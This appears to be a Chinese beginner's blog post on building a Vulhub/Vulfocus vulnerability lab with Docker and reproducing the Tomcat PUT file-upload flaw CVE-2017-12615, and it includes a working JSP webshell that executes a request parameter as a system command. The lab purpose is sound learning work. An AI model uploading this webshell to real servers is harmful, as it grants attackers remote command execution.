开源漏洞靶场 Vulhub环境搭建

记录自己的技能学习

第一章 开源漏洞靶场 Vulhub环境搭建

前言

尝试开始在CSDN上记录自己的学习过程,含泪学习,从零开始的小菜鸡。

一、Ubuntu环境的配置

在VMware Workstation Pro中搭建了两次Ubuntu环境:按照Vulhub的官网提示,第一次安装了Ubuntu20.04,结果发现python的版本为3.8,无法安装pip3。但现实是官网上的教程步骤有很大的问题,很多都用不到。
果断将虚拟机的版本更换为Ubuntu18.04,自己改进了Vulhub靶场构建的步骤,现将步骤与遇到的实际bug记录如下:

(一)使用 apt-get 命令的时候,遇到这种错误咋办?

E: Could not get lock /var/lib/dpkg/lock - open (11: Resource temporarily unavailable)
E: Unable to lock the administration directory (/var/lib/dpkg/), is another process using it?
1、找出并杀掉所有 apt-get 或者 apt 进程

ps aux|grep apt
sudo kill -9 30288(pid)

2、 删除锁定的文件
首先运行下面的命令来移除 /var/lib/dpkg/ 文件夹下的锁定文件:

sudo rm /var/lib/dpkg/lock

之后像下面这样强制重新配置软件包:

sudo dpkg --configure -a
sudo apt-get upgrade

(二)安装相应服务

sudo apt install python3-pip    #安装pip3
pip3 -V                         #查看pip3的版本
sudo apt-get install docker.io  #安装docker
systemctl status docker         #查看docker的状态
apt install docker-compose      #安装docker-compose

(三)安装并启动Vulhub

docker pull vulfocus/vulfocus:latest   #拉取Vulhub的镜像
docker create -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock  -e VUL_IP=***.***.***.*** vulfocus/vulfocus  #将IP改为服务端IP,运行Vulfocus,注意查看并记录docker的pid
docker ps   #查看docker的状态
docker start ********   #将vulhub的pid输入并启动

最后检验一下能否正常打开,windows主机访问这个地址的80端口,这里的端口也可以改成其他的。
如能正常打开,admin/admin登陆。

二、Vulhub靶场训练实操

(一)Tomcat任意写入文件漏洞(CVE-2017-12615)

1.漏洞原理

这个漏洞被称之为Tomcat PUT方法任意写文件漏洞,类似IIS的PUT上传漏洞。该漏洞可以利用HTTP的PUT方法直接上传webshell到目标服务器,从而获取权限。该漏洞是高危漏洞,在Tomcat的web.xml默认情况下不存在该漏洞,但是一单开发者或者运维人员手动讲web.xml中的readonly设置为false,可以通过 PUT / DELETE 进行文件操控。
漏洞的核心错误配置是web.xml中的readonly

<servlet>
    <servlet-name>defaultservlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServletservlet-class>
    <init-param>
        <param-name>readonlyparam-name>
        <param-value>trueparam-value>
    init-param>
    <load-on-startup>1load-on-startup>
servlet>

2.漏洞利用

a.打开tomcat的页面

在该步骤中,需要对漏洞进行扫描,但事实上,这一步并没有进行。
开源漏洞靶场 Vulhub环境搭建_第1张图片

b.使用Burp工具进行抓包,并将码子上传

1、启动Burp并设置电脑的代理
开源漏洞靶场 Vulhub环境搭建_第2张图片
2、使用burp抓包并将抓包信息传给Rapeader
开源漏洞靶场 Vulhub环境搭建_第3张图片
3、将码子上传并测试getshell
开源漏洞靶场 Vulhub环境搭建_第4张图片

<%
    java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("
");
    while((a=in.read(b))!=-1){
    out.println(new String(b));
    }
    out.print("
"
); %>

在web页面使用如下命令测试:

http://***.***.***.***:8080/cmd.jsp?i=ls

小技巧

一、提升vmware虚拟机的存储容量

1、在虚拟机设置内,将虚拟机的存储容量进行扩展。
2、在系统内部进行如下操作:

sudo apt-get install gparted   #安装gparted终端
sudo gparted                   #打开该终端,进行硬盘扩容

二、Docker操作

进入运行中的容器:docker attach 容器ID 或者 docker exec -it 容器ID或容器名字 /bin/bash

注:attach退出则暂停容器,exec退出则容器扔运行,推荐exec

   docker exec :在运行的容器中执行命令

                    -d :分离模式: 在后台运行

                     -i :即使没有附加也保持STDIN(标准输入) 打开,以交互模式运行容器,通常与 -t 同时使用;

                     -t: 为容器重新分配一个伪输入终端,通常与 -i 同时使用;

可用docker start 容器名或ID 启动容器;docker stop 容器名或ID 关闭容器;kill 杀掉;restart 重启。

漏洞环境的手动启动

1、进入vulhub目录下,找到相应的漏洞
2、确保docker处于启动状态,否则手动启动。

systemctl start docker

3、在漏洞路径下执行docker命令,启动漏洞环境

docker-compose up -d

4、利用完毕关闭漏洞

docker-compose down

总结

这是第一篇小菜鸡网路安全之路,技术积累,但行无悔。

你可能感兴趣的:(web安全,网络安全)